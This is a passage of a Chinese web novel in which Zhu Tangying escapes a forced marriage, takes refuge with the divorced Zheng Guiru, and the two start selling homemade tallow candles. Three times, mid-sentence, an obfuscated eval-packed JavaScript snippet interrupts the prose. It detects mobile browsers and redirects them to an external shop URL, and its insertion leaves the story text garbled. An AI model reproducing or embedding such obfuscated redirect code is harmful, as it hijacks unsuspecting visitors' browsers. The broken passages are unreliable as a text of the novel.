她深吸一口气,把钗子也拔了,自己的头发也弄乱,抹了两把脸,一边往外跑一边哭喊,“爹,求你不要打死我,求你不要打死我!” 正是秋日,现已经过了秋收,高平县的百姓都在家中,如今县城最大的事就是陆家大房贪财,陆云程休妻另娶,逼走妻子和女儿的事。 不过要说陆云程忘恩负义,那祝家就是实打实见钱眼开,逼人休妻弃女,一家子不是什么好货色。人家夫妻俩好好的,祝家非要横插一脚。陆云朝死了,要嫁人家堂兄。 很快就有人出来了,后面跟着一家老小,一副看热闹的神色。 祝父手拿长柳枝,追出祝家后他看看左右,厉声喝道:“棠英,你跑什么跑,快回来,还嫌不够丢人!” 祝棠英大声道:“爹,求你不要让我嫁过去,陆云程把郑娘子休了,嫁他六年的人说休就休,女儿都不要了,我嫁过去算什么。而且本是十月的婚期,他家挪到了后日,这么着急必然有鬼。” 李氏嚷嚷着:“妹子,是你说要先进门,陆家才把郑娘子休了,现在你说不嫁就不嫁了!你把祝家至于何地?” 祝棠英佯装痛心疾首,蹙着眉捂着心口好不可怜,“大嫂,你如今又怪到我头上了?你们说陆云程和他娘子感情甚笃,这样拒绝不会让陆家为难,谁能想到他说不要就不要……这等无情无义之人,我宁愿死也不嫁!” 李氏瞪大眼睛,“你!你胡说八道啥呢你!” 祝棠英:“爹,你打死我吧!你要是非让我嫁过去,就打死我,陆家得了人,你拿了聘礼。我也不用面对那样的人恶心得活不下去了!” 祝父脸红脖子粗,“你还胡说八道,我非得打死你不可。林氏,还不把她带回去!” 林氏眼里含泪,祝棠英觉得,只在祝家门口不行,非得闹得人尽皆知才行。 她转头就跑,一边跑一边喊,“若是陆云程重情重义,坚决不休妻,这等情深意重之人我就算后进门也答应了,结果他是个无情无义的小人。你们也是,这样的人也要我嫁,不过是看陆家二房颇有家财。” 有道是家丑不可外扬,自己想什么,自己心里知道就行,可若戳破了,挑明了,放在明面上,只会让人颜面尽失。 祝父捂着心口,“谁教你顶撞父母的,女子在家从父,固是经常之道,你这是忤逆不孝。” 祝棠英问:“你让我嫁人我去嫁,你让我杀人我也去杀吗,你让我死,难道我就去死吗!嫁进陆家对我而言与死了无异,你让我嫁,我不愿。” “陆云朝死了,我心痛难忍,这个时候你让我嫁给他兄长,偏陆云程有家室,你还不是为了聘礼。”祝棠英直直看向祝父,“若只能顺从听话乖巧懂事,这女儿我不愿意当。” 周围有叹气声,也有人道可怜,祝棠英捂着脸继续哭诉,“谁都知道嫁人对女子而言是天大的事,陆家却把婚期提前,让我后日嫁过去,在流言蜚语中过门,我还不如出家呢!” 这话一出,围观的人看祝父的神色就不太好看了,祝棠英长得好看,哭诉的时候没有撒泼的感觉,反而让人觉得跟暴雨吹打的花似的,忍不住想要怜惜。 其实就算陆云朝没了,她的亲事不一定难说。 “聘礼你收的,想嫁自己嫁吧。”祝棠英说完,扭头就跑,她朝着城南破乱宅子跑,像一支离弦的箭,祝父大喊住在祝家前面的邻居拦住她,“老赵,快搭把手,别让她跑了!” 姓赵的撸起袖子想动手,却被自己娘子按住,李娘子眼刀扫过来,“干什么,管别人家闲事作甚?” “那就让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921561|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这么跑了?” 李娘子道:“亲闺女还能真逼死不成,而且我觉得这事不妥,陆云朝都死了,还逼着人嫁过去,不怕陆云朝做鬼找来。这是结亲吗?分明是结仇” 热闹看完了,李娘子招呼姓赵的进屋,“以后跟祝家少来往,掉钱眼里去了。” 巷子里的议论声顺着秋风一起送到祝父耳中,祝父脸上一阵红一阵白,李氏还在嚷嚷:“是棠英让人休了郑娘子,结果人家把事办了,她又不嫁了。” 可又有谁信呢?若真如此,祝棠英必然欢欢喜喜嫁人,哪里值得跑?把人逼到这个份上,也是离奇。 再说了,祝家这样的,能让家里女儿能当家作主? 没人帮忙,有几个还故意挡道,祝父头脑发热,等巷子里的人散去,他们挤出去,祝棠英已经不见踪影了。 祝父气急败坏地指着林氏的鼻子道:“你看你养的好女儿,还愣着干什么?快找啊。今天找不着,怎么和陆家交代?” 林氏眼睛泛红,女子彻夜不归,不管发生了什么,都视作失去贞洁。失去贞洁的人,陆家还会娶吗。 祝父:“把人找到,就跟她说不用嫁了。” 李氏一愣,很快明白祝父的意思,她笑了笑,“好哎。” * 祝棠英跑得很快,她这几日总出门,加上高平县不大,已经就把这附近摸清。 祝家住城南,郑桂如说过,若能拿到宅子,陆家肯定不会给她特别好的,八成在城南的破巷子里。 如果祝家容不下她,就来找郑桂如。有道是最危险的地方最安全,祝家就算想破脑子袋也想不到她在郑桂如这儿。 祝棠英腿有些重,胸口像是装了个鼓风机,跑得时候呼呼喘气。她好像也没跑多远,但已经感受到喉间有血腥味儿。 一条条巷子,在高平县横纵交织,秋意渐浓,落叶扫飘得到处都是,这几日落雨,地上好多水洼,街上行人不多,但见祝棠英狂奔不禁看了过来。 秋风乍起,祝棠英的身影在巷子中穿梭,就在她想怎么找到郑桂如时,一处宅子的门打开了。 祝棠英心里一惊,不会那么巧撞到郑桂如家吧,回头一看却不是,是一陌生男子。 男子面如冠玉,目若朗星,可祝棠英已经跑一路了,这时突然出现一人,让她不由往后退了两步。 呼吸间她又看了眼空荡荡的巷口,兴许过一会儿人就追上了,她试探着开口,“公子,能否打听个人,郑桂如郑娘子,是住这附近吗?” 男人回头问了几句,祝棠英发现里面还有一人,二人说着话,很快他道:“后面巷子第三家。” 祝棠英松了口气,可算找到了。她又换上可怜的神色,双手合十,“公子,若有人和你打听我的踪迹,劳请守口如瓶。” 再来不及多说什么,祝棠英飞快地跑。 院内一人往外探了探头,就看见一片衣角,“蔺兄?谁呀?” 蔺叙看着巷口,摇头道:“不知。” 男子自顾自说着,“她打听郑娘子,郑娘子的事现在满城皆知。她呀以前是陆云程的娘子,陆云程把她休了,要娶祝小娘子,这还不算稀奇,你可知祝小娘子是何人,是陆云程堂弟的未婚妻!啧啧……” …… 祝棠英跑到后面到第三家敲门,门很快开了,露出郑桂如焦急的面庞,“棠英!你可算来了!” 9. 第九章 家 祝棠英头发乱糟糟的,看着分外狼狈,她朝郑桂如笑了笑,“郑姐姐,真的是你!” 郑桂如没有犹豫,拽着祝棠英的手进院子,然后探头看后面有没有人跟上来,见没人,松了口气,飞快地把门关上,门栓也给插上了。 郑桂如神色激动,握着祝棠英的手道:“你来了,我日日盼,既着你来,也盼着你好好的,不必来我这儿。” 如今看祝棠英站在这儿,郑桂如又庆幸。 祝棠英笑了笑,“是我的不是,早该递信让你别担心,只是……” 郑桂如都明白,“进屋说话,我们进屋说话。” 进了屋,郑桂如担忧地看着祝棠英,祝棠英跑了一路,脸红通通的,外头风冷,唇却是白的,郑桂如握着她手,感觉也是冰的。 郑桂如先给她倒了杯热水,“你这怎么弄成这个样子,你先坐会儿,我去烧热水,你洗洗暖暖,再给你煮碗姜茶。” 祝棠英嗯了一声,捧着杯子坐到了厨房桌旁,话一会儿再说,先收拾收拾。她出了汗,现在停下,后背阵阵发凉。想想刚才,更是心有余悸,若是被关在祝家,被李氏看着,估计很难逃出来。 今日祝父李氏大概没想过她会跑。 不跑的是傻子,难道乖乖等着嫁到陆家?傻子才这么干。 祝棠英冷静下来,喝了口水便放下杯子,有点冷,她忍不住抱着肩膀搓了搓。 郑桂如在烧水,她看了眼宅子,里面很空,郑桂如也才过来,东西不多,宅子也简陋,也不知她这几日怎么样。 兰姐儿躲在东屋的墙后,探出一个脑袋好奇地盯着祝棠英看,祝棠英冲她笑笑,兰姐儿不禁捂脸,跑去和郑桂如道:“娘,那个姐姐跟雨后的花儿似的。” 祝棠英笑了笑,郑桂如看了祝棠英一眼,眼中却是止不过的心疼,“冷吗,我屋里有衣裳,拿来你先披上。” 祝棠英出来得匆忙,只有卖蜡烛的钱贴身装着,她点了点头,笑着和兰姐儿道:“你喊姨姨吧,我是你娘的妹妹。” 兰姐儿看向郑桂如,郑桂如点点头,回屋拿了衣裳,又往灶膛添了两把柴火,等水烧开,舀出来给祝棠英擦洗,剩下的熬姜汤。 郑桂如:“你这头发先洗洗,一会儿洗完喝碗姜汤,衣服你看试着看看。” 衣裳是旧的,但很干净,祝棠英笑着点了点头,“肯定行。” 郑桂如帮着打水兑水,让祝棠英在西屋洗,这屋子收拾过,也很干净。 木盆的水热气腾腾,祝棠英把门关上,然后拿水擦身子洗头发。过了一刻钟多,她从屋里出来,头发用布巾包上,身上也换了干净衣裳,郑桂如喜素色,这身穿在她还有些不习惯。 看着祝棠英出来,郑桂如拿着姜汤,“快趁热喝了。” 祝棠英皱了下眉,鼻尖是辛辣味,而且很烫,光这味道就辣眼睛。但在郑桂如殷切的目光中,祝棠英还是一口一口把这碗姜汤喝完。 喝了汤,冒了汗,郑桂如终是松了口气。二人对视一眼,异口同声道:“郑姐姐,这几日你可还好?” “你是怎么出来的,祝家没为难你吧?” 祝棠英怔了怔,随即一笑,说道:“我还好,你是怎么回事?不是说好和离争东西,怎么闹到这个地步?” 郑桂如轻笑了一下,眼里带了两分释然,“反正都是离开陆家,被休和和离,对我来说没什么区别。” 她怕祝棠英多想,“当时想是一回事,做又是另外一回事。” 郑桂如不想多说,瞧着祝棠英,摸摸她胳膊,问道:“你爹没打你吧。” 刚看祝棠英,十分狼狈。 祝棠英摇了摇头,“想打来着,但是我跑得快,估计这会儿正气得不行。你放心好了,我又不傻,怎么可能站着让他打。” 郑桂如有些愧疚,“若非因为我,也不至于和家里闹成这样。” 祝棠英没太当回事,“不是陆家还有别人,跟你没关系。再说我也没吃亏,嚷嚷得人尽皆知,估计能消停几日。” 祝棠英还觉得对不住郑桂如呢,好好的日子,被祝家搅和得一团糟。 但事到如今两人无法再计较这些,祝棠英没深问为何郑桂如不按原来的计划,她心中隐隐有种感觉,郑桂如是为了自己。 祝棠英笑嘻嘻道:“郑姐姐,别想那些了,我这几日做了些蜡烛,全卖了,有六钱银子,就是可惜剩下的乌桕子油没带出来,下午再去买点。郑姐姐,有吃的吗,我饿了。” 郑桂如赶忙道:“我这就去煮饭。” 祝棠英不太习惯干等着,她虽然不会做饭,但能做别的,“我烧火吧。” 这不是多难的事,哪怕以前不会,学学也能会,而且在祝家她烧过炉子。 郑桂如:“你可安生待着吧,你刚来,老实坐着就是。家里东西不多,先简单做点吃,等下午再买些肉菜给你接风洗尘。钱你先收起来,我从陆家拿了钱,暂且够用。一会儿你先跟我出门一趟,给隔壁送些东西去。” 祝棠英有些不解,郑桂如耐心解释道:“你从祝家离开,来了我这儿,总得让外人看到,不然又该传闲话了。” 女子名声要紧,若彻夜不归,就被视作失了贞洁。 祝棠英没想到郑桂如考虑得这么周到,“谢谢郑姐姐。” 郑桂如道:“该我谢你才是。” 祝棠英笑嘻嘻道:“我们就别谢来谢去了,先做饭吧。” 她要过去烧火,郑桂如怎么都不愿,祝棠英:“那我一会儿刷碗好了。” 午饭很简单,两道炒青菜,祝棠英是有热乎吃的就行。 饭做好之后,郑桂如把兰姐儿锁在家里,拉着祝棠英的手去敲隔壁两家的门,把做好的菜送了一碗。 郑桂如初来乍到,祝棠英也是脸生的人,隔壁刘娘子看着二人不禁面露疑惑,“郑娘子,这是?” 郑桂如道:“婶子,她是我妹妹,叫棠英,姓祝。家里出了事,现在跟我一块住,今儿早上过来的。” 刘娘婶子难掩震惊,下巴都掉地上了,这几日谁不知道县城陆家祝家发生的破事,“祝家的……祝棠英?” 祝棠英笑了笑,“是,就是婶子想的那个祝家,那个祝棠英。” 刘娘子四十多岁,目瞪口呆地问:“你们……你们俩咋在一块儿呢?” 一个逼着陆云程休妻也要先进门,一个被陆云程休弃,不得不带着女儿过日子的。照理这俩人该水火不容,街上见面了都该掐着骂上两句,怎么可能一块儿出现呢。 祝棠英还住在郑桂如这儿…… 祝棠英笑了笑道:“我说先进门,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921562|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让陆家知难而退,谁知他们竟真的做出那等猪狗不如的事。现在婚期提前,家里逼我嫁过去,我爹打了我一顿,走投无路幸得郑姐姐收留,不然我真不知该如何是好。” 刘娘子叹了口气,“也是可怜,等着,我给你俩拿点吃的。” 郑桂如虚心收了,她道:“棠英是跑出来的,人言可畏,若遇上祝家人和陆家人,还请婶子帮忙说几句话。” 刘娘子道:“我知道了,你们快回去吧。” 郑桂如又带着祝棠英去了另一家,送完东西才回屋吃饭。外面风没那么大了,屋内桌上摆着两盘菜,祝棠英觉得很好吃,郑桂如厨艺好,她心里美得很,吃饭的时候还给兰姐儿夹了菜。 兰姐儿是个很可爱的小姑娘,在书里的时候,她跟着郑桂如受了不少委屈,如今搬出来住了,年纪小什么都不懂,但是乖巧懂事。 祝棠英很喜欢她,也不想她白白出来一趟,跟着过苦日子。 人活在世,争的就是一口气。 祝棠英道:“郑姐姐,我带来了六钱银子,等会儿去买乌桕子。先把蜡烛做上,一晚上阴干,明天早上灌模子,快得话明天下午就能去卖了。” 郑桂如不愿祝棠英刚来就这么累,“你下午好好睡一觉,有什么事明日再说。” 祝棠英可等不及明日再说,“放心,我心里有数。郑姐姐若觉得心疼,这回赚了钱,做顿肉菜?” 郑桂如轻轻点了下头。 祝棠英要去洗碗,郑桂如死活没让,“今日就算了,等以后,以后我做饭让你刷碗。” 陆家有丫鬟,但不多,大房的多是赵氏使唤,郑桂如习惯做这些。 刷过碗后,郑桂如从屋里拿了银子,她带出来的银子不多,总共三两,有陆云程给的二两,剩下一两银子是自己攒的私房,“我不会做蜡烛,可是多做点就能多卖点?这些钱你拿去吧。” 祝棠英看银子不少,“郑姐姐,乌桕不值什么钱,用不了那么多。不过郑姐姐有心,那就一人拿半两银子,后头赚的钱,留一小部分平日买菜买米,一部分买乌桕子,剩下的我们二人平分,你看怎么样?” 钱这事得说好,但谁出力多谁出力少算不清。祝棠英性子本来就大大咧咧,多拿一点少拿一点不太放在心上。方子是她的,但她住的宅子还是郑桂如的呢。 郑桂如笑着嗯了一声,“好。” 兰姐儿年幼,家里得留人,祝棠英更怕郑桂如出去买错了,就自己出门的,不过她换了郑桂如的衣裳,带着面纱,不怕祝家找来。 以前她一次就买十几斤,这回多买点也能多做点。 郑桂如不太放心,“快点去快点回。” 祝棠英点点头,“放心吧。” 街上人不少,都在巷口摆摊,祝棠英买了两百斤乌桕子,让人给送到家里去。剩下的钱她买了两块蜂巢蜜,这个上面还有蜂蜡,比纯蜜便宜。 这可是好东西,蜂蜜能喝,蜂蜡有用,不仅能改善乌桕蜡的性能,蜂蜡还能做别的东西。因为出来匆忙,什么都没带,她又买了两个石臼,一些细竹筒,倒是不贵,一共花了十几文钱。 祝棠英买完东西,心满意足地回了家,期间并没有碰见祝家人。 她进门前看了看宅子,这三间屋子的小宅子,日后就是她的家了。 10. 第十章 卖钱 祝棠英出去这一趟没有耽误太长时间。 进门把门插上,她问:“郑姐姐,乌桕子可送回来了?” 郑桂如从屋里出来,她道:“我让拿进屋了,你看我能帮什么忙不。” 乌桕子常见,可会做蜡烛的却没几个,如果人人都会做,那高平县的家家富庶。 郑桂如不知祝棠英是怎么学会的,心里也疑惑,若是祝家会做,有这样赚钱的本事,哪里至于非攀着陆家把女儿嫁过去,但她没细问,方子要紧,祝棠英让她帮忙她就帮忙,若是不让,那她就洗衣做饭,做别的事。 祝棠英道:“那可太好了,俩人做还能快一点。” 祝棠英买了二百斤的乌桕子,两块蜂蜜,秤着有四斤多重。石臼买了两个大的,方便研磨。竹筒先备好,到时直接用,今儿不知能做多少,祝棠英想尽量多做,攒些钱,尽快最好离开高平县。 陆家知道两人都走了,肯定不会善罢甘休,留在高平县意味着源源不断的麻烦。 得攒钱。 两百斤的乌桕子能做近四百根蜡烛,做蜡烛剩下的皮油和籽油还能做肥皂,祝棠英信心满满,郑桂如却手足无措,看着一堆东西不知道从哪儿下手,“那我做什么?” 第一次做祝棠英分了她简单的活,“郑姐姐,你先把枝子上的乌桕给摘下来。” 有的乌桕子还连着树枝,雪白的三瓣挂在枝头像朵花。大部分没连着,但是得把三瓣果实分开。 郑桂如轻轻点了下头,等她取出来一部分,祝棠英就把这些乌桕子清洗干净煮开,然后再放进石臼请研磨。 雪白的果肉随着石臼上的石杵和粗糙的底部摩擦,慢慢和种子脱离。一边做她一边和郑桂如解释,“郑姐姐,磨这个力气不能太大,不然容易把里面的种子给磨碎了。” 郑桂如点头,“磨下来的果实就是蜡烛吗?” 祝棠英道:“不全是,里面有油有蜡,现在混在一块儿,得分离出来。” 祝棠英抹一点给郑桂如看,“你看,里面有油的。” 郑桂如轻轻点了点头,她还是不太懂,但不懂也无妨,看着祝棠英怎么做就知道了,况且有些东西不需要弄得太明白。 磨净的乌桕籽挑出来,等磨完一石臼底,就舀到小盆里去。现在还不够多,等多一点就能烧火熬煮了。 她们二人做这些的时候,兰姐儿就在一旁玩,玩了一会儿,跟郑桂如一块摘乌桕子,乖巧得很。 祝棠英看向郑桂如,偶尔还是能从她神色中看出心疼和落寞,于她而言,迈出这一步不易,这个时代被休,还得听闲言碎语。 祝棠英手下的动作不由加快了些。 磨这个是细致活,需要耐心,耗时也长,渐渐地天色暗了。郑桂如取来灯油,看摘得差不多了也拿石臼跟祝棠英一块儿弄,不过她做得就更慢了,时间一长着急,磨破了几个。 郑桂如心疼东西,祝棠英安慰道:“郑姐姐,慢慢来就是,你刚做嘛,做成这样已经很好了。” 郑桂如嗯了一声,“时候不早了,我去煮饭。” 天黑透了,秋日天短,外面渐渐归于宁静,外面偶尔传来几声犬吠,屋内就一盏油灯,郑桂如煮饭是靠着灶台的火光。 祝棠英心里有种说不出的宁静,外面是橘色的火光,她手里还磨着乌臼子,磨好一部分,就把磨碎的果实放进小盆里,这么半天下来,已经不少了。 她揉揉酸痛的胳膊和肩膀,冲着留在屋里的兰姐儿笑笑,继续舀籽干活。 不知过了多久,郑桂如喊了一声,“棠英,先吃饭了。” 郑桂如煮了粥,做了鸡蛋饼。 祝棠英早就饿了,她吃得很香,“郑姐姐,你手艺真好!” 大米煮得软烂,闻着一股清甜的米香,洒一点咸菜碎,她就能喝两碗,鸡蛋饼里面混了葱花,颜色金黄好看,吃着更是香,还有一道炒青菜,吃着竟然甜甜的。 为何她自己做吃起来就又烂又苦? 想想,只能归到闻道有先后,术业有专攻去。 书里其实是提过郑桂如厨艺好的,多少次陆云程秉烛夜读,她都是做好了吃食送过去。 不过陆云程慢慢习以为常,后来陆家家业越来越大,有丫鬟厨娘,陆云程就很少夸她了。 从前便宜男主,现在便宜她了。 吃过饭后,郑桂如依旧没让祝棠英刷碗,“你抓紧歇会儿,然后快去做蜡烛吧,多做点,也能多卖点。” 祝棠英没歇着,直接去忙了,现在天冷。蜡片凝得快,没准明儿就能卖一批。 又磨了半个时辰的乌桕子,郑桂如就催着祝棠英快睡。 古人日出而作日落而息,又是秋日天冷,少有熬这么晚的。 祝棠英道:“等我把这煮了就睡。” 大锅烧了些热水,不多,等烧开之后把两盆果实末倒入锅中煮,祝棠英需要皮油,所以水分得熬干。 她撑着下巴等着,差不多了才舀出来过滤,纱布也用的郑桂如的,滤了三盆,就放在厨房。 天冷,明天早上就能煮蜡片灌模子,大约下午就能做好。 模子急用细竹筒就是,祝棠英选的比杂货铺卖的粗一些,这样她好出货。 现在正值秋日,人算是赶上好时候了,若是夏日,天长蜡烛用不上,冬日天短,就比如现在,能用得起蜡烛的人家得早半个时辰点,若等冬日,估计能早一个时辰。 如今正是用蜡烛的时候,杂货铺也赚钱。 郑桂如看她累得不轻,有些心疼,但也知道现在的情况,不做这些很难生活下去,她道:“你快些梳洗睡下吧,隔壁我简单收拾了,你先凑合着睡,缺什么的东西明儿再买。” 祝棠英点点头,进了隔壁西屋,上午在这梳洗来着,郑桂如着实是谦虚了,屋子收拾得很干净,床上铺着褥子被子,闻着有阳光的味道。 屋内没有久不住人的灰尘味,可见用心。她差点忍不住开口道谢,想了想说道:“这已经好得不得了了,郑姐姐,你也早些睡。” 兰姐早就睡下了,她年纪小,熬不得那么久。郑桂如轻笑,看着祝棠英的眼中透着两分亮光,“好,夜里有什么事喊我。” 郑桂如把院门和屋子门都关上,祝棠英简单梳洗后躺在床上,心里一阵轻松。 她往被我钻了钻,也不知祝家现在什么样了,估计鸡飞狗跳,热闹得不得了。 今日二十四,若明日还找不到她,祝家和陆家就真的无法交代了。偏偏丢了女儿的事祝家不敢大张旗鼓地找,不然挨家挨户地问,也能找到人。 到现在也没消息,折腾了一日,祝父已然是精疲力尽。 家中还堆着陆家送来的聘礼,李氏道:“棠英一个人能去哪儿呢?天这样冷,可别出事儿,棠英长得漂亮,若是被人掳走,这可……” 林氏抹泪道:“早知道就不逼她嫁人了,现在倒好。” 一个晚上,哪怕是真的什么都没发生,可外人看,也是出事了。林氏哭着道:“她这孩子心怎么那么硬,说走就走,不知道一家人在为她担忧。” 祝父扶着额头,一言不发。 李氏道:“爹娘,后天咋办,不然把婚事拖拖,等人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921563|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找回来再送过去?唉,早知道直接把人送到陆家了。” 李氏看着一地东西,她可舍不得给退回去。 再说陆家得罪不起呀,这边退婚,陆家无法交代。 祝父正头疼着,“明儿再找,先把人找到。” 至于成不成亲,怎么也得看见祝棠英人影才说。知道祝棠英跑的时候,他心里想等她回来一定打断她的腿。 可到如今,他更多想着人快点回来,其他的事再慢慢商量。 祝父拍拍林氏的肩膀,“她能走就是有落脚的地方,你在这哭,她怕是逍遥自在。” 夜色漆黑,伴随着夜风拍打窗子的声音,这一夜慢慢过去。 祝棠英这一夜睡得不错,醒来的时候,就是觉得胳膊有些酸。屋外有轻微的动静,估计郑桂如已经醒了。 她换好衣裳出去,郑桂如喜道:“你醒啦?我看这个上面真有一层白色的蜡。” 郑桂如很惊喜,那时祝棠英拿蜡烛给她,她也就信了,现在亲眼所见,才觉得神奇。那些白色小巧的果实竟然能做蜡烛,可真是有用。 祝棠英去看了,上面一层是蜡,下面的是油,不过含水分,想要做东西还得再煮,“那一会儿就能灌蜡烛了。” 郑桂如笑了,“好,你先梳洗吃饭,我早起去外面买了些肉,你看中午想怎么吃。” 祝棠英看着墙边挂着的猪肉,道:“怎么不等把蜡烛卖了再买?” 郑桂如:“说了今儿给你接风洗尘。” 对郑桂如来说,谁辛苦,谁就是家中的功臣。她该照顾好祝棠英,哪怕祝棠英不做这些,那也是帮她离开陆家的人,也该好好感谢一番。 她很高兴祝棠英喜欢她做的菜。 祝棠英顿时觉得干劲满满,书里的笔墨她保持怀疑态度。说郑桂如柔弱,那是她善解人意,说她隐忍,分明是顾全大局。 祝棠英没客气,“郑姐姐擅长什么菜?” 郑桂如道:“炒菜面食我都能做。” 祝棠英想吃肉,“那红……炖肉能做吗,就是切成一块一块炖,先焯水,然后煎,放些香料调料,加热水炖个两……一个时辰。” 祝棠英闲的时候也刷视频看菜谱,奈何厨艺不佳,看了记住是一回事,做出来就是另外一回事了。 郑桂如道:“我试试。” 祝棠英心里高兴,吃过早饭就去灌蜡烛了,灌好得放凉凝固脱模,做得早,没准中午之前就好了,她对郑桂如道:“郑姐姐,今儿得你去杂货铺卖。” 后日婚期,今儿祝家肯定出动更多人,没准还有陆家人,她今天最好不要出门。 郑桂如点点头,“好。” 一个上午,祝棠英还是磨乌桕子,累了就检查蜡烛好没好。临近中午,她把蜡烛脱模,郑桂如那边已经有淡淡的肉香了。 郑桂如道:“再炖半个多时辰,你看着火,烧这么大就行,我拿去卖。” 祝棠英:“我……我行的。” 郑桂如都能去卖东西,她看着火有何不可,烧火她还挺熟练的,因为熬煮过几次乌桕子,再说又不用她加调料。 祝棠英把石臼拿到这边来,一边烧火一边捣,另一边的灶台上,放了个小锅煮着过滤掉蜂蜜的蜂巢。 这里面有杂质,做好蜂蜡也是有用的,能做护肤品。不过就是用做菜锅煮的,幸好乌桕子能用药,蜂蜜也能吃家里简单,等后面赚钱了再打两口锅。 价钱她告诉了郑桂如,郑桂如此行很顺利,不到半个时辰就回来了。 郑桂如一脸惊喜,“棠英,我真的给卖了出去!” 11.第十一章 回头草 蜡烛留了两根家里用,剩下的都给卖了,总共四十八根,卖了九百六十文。 这在祝棠英意料之内,因为前几次卖也是这个价钱,她做的蜡烛比杂货铺卖的粗一些,比不上杂货铺以前囤货便宜,但是比那些更好卖。 杂货铺老板收了放在铺子卖,多卖一根多赚十文钱。 郑桂如却高兴得不知如何是好,外人看陆家有钱,尤其二房,还有一辆马车。一荣俱荣一损俱损,连带着大房三房的日子都过得不错。 可再不错也与郑桂如无关,她是晚辈,家里的钱都是赵氏管着,她要靠自己做做绣活赚,可赚的大部分都贴补给了陆云程。 隔几日卖一些绣品,她都不知道到底赚了多少。这回离开陆家,身上总共三两银子,一晚上就赚了这么多,郑桂如怎么能不惊喜。 她觉得祝棠英有本事,她道:“棠英,赵老板还说蜡烛他还要。” 祝棠英道:“那今儿多做一些,明天多卖一点,不然攒几日一块儿卖也行,省着跑。” 郑桂如道:“对了,赵老板还问有没有你上次拿的皂块,他也收。” 本来祝棠英下午就想做些肥皂,家里能用,洗手擦洗都方便。但要多做拿杂货铺卖,让祝棠英有些迟疑。原因无他,就是这皂块卖得太便宜了,一块才三文,不如卖蜡烛赚得多。 虽然在祝棠英心里,肯定是皂块价值高。不过也无法,这是古代,没有电,如果在现代一根蜡烛就两块钱。 赵老板想要肥皂,是不是说明卖得好?她卖的和猪油皂一个价钱,若能抬价,也不是不能做。 祝棠英道:“那我下午做一些。” 郑桂如笑着点头,然后把祝棠英手里的活接了过来,灶膛里是小火,香味比她离开前浓郁,她揭开锅盖看了眼,汤汁没少太多,但肉已经软烂些了。 祝棠英趁机猛吸几口,她怕影响食物味道,根本不敢打开看,只敢烧火。 兰姐儿本来在院子里玩,闻着香味也过来了,有祝棠英在,经过一晚二人熟悉不少,郑桂如也能一个人出门。 郑桂如看着二人笑了笑,“你忙了一上午,先去歇歇。” 祝棠英不累,“正好钱到了,顺便分了吧。先拿二百文买菜吃饭。” 祝棠英爱吃肉,在祝家那些天根本没油水,有钱当然拿一部分吃了。 这个郑桂如没意见,兰姐儿还在长身体。 祝棠英:“留四百文买东西,多囤乌桕子、蜂蜡,再买几个小罐子,存放做好但用不到的蜡、油。” 郑桂如:“成,还指望这赚钱呢。” “剩下的就是你我分,一人一百八十文。” 郑桂如不太好意思,“棠英,还是按四六分,你六我四,我这什么都没干,拿这么多不合适,况且就拿吃饭来说,兰姐儿还吃呢,这样你吃亏。” 祝棠英无奈道:“兰姐儿这么大能吃多少?你我之间就别再说吃亏不吃亏的了,我还住你家呢,这么算就是你吃亏了。” 饭菜是郑桂如做的,做蜡烛也帮忙了。做的菜还是祝棠英喜欢吃的口味,这还有什么不满足的? 郑桂如面露为难,还想再劝,祝棠英眼疾手快道:“郑姐姐,好像有糊味儿。” 郑桂如揭开锅盖,搅了搅锅底,发现肉并没有粘锅。她无奈地看向祝棠英,这回没再提改分成的事。 钱祝棠英收好了,她还有一钱碎银子,等再多攒一些,就能换床新被子,买两身衣裳,不然总用郑桂如的不合适。 蜂蜡煮得差不多了,她找来纱布,把杂质滤出,然后放到小盆子里静置去。弄出来的蜂蜜就放在厨房罐子,或许做饭用得到,寻常也能泡水喝。 做完这些,郑桂如那边也好了,她手脚麻利炒了个菜,然后招呼祝英吃饭,“兰姐儿,洗手吃饭了。” 郑桂如往桌上端菜,祝棠英帮着盛饭,眼睛却黏在红烧肉上了。 为何她照着视频做,做出来发硬发苦,粉丝看了让她给猪道歉,郑桂如只是听她描述,做的就好一百倍一千倍。 光是卖相就很好看了,肉颤颤巍巍堆着,穿着红色的酱衣,酱汁浓郁光滑闪闪发光。那肉皮已经变得晶莹剔透,尤其是肥肉,好像凝住的晶莹琥珀。 香味霸道极了,兰姐儿洗过手,忍不住哇了一声,“娘,今天有肉哎。” 郑桂如笑了笑,“快吃吧。” 米饭普通,毕竟没有后世的杂交技术,不是特别的糯,但肉做的很好吃,祝棠英怀疑郑桂如会魔法,能把肉做成这样。 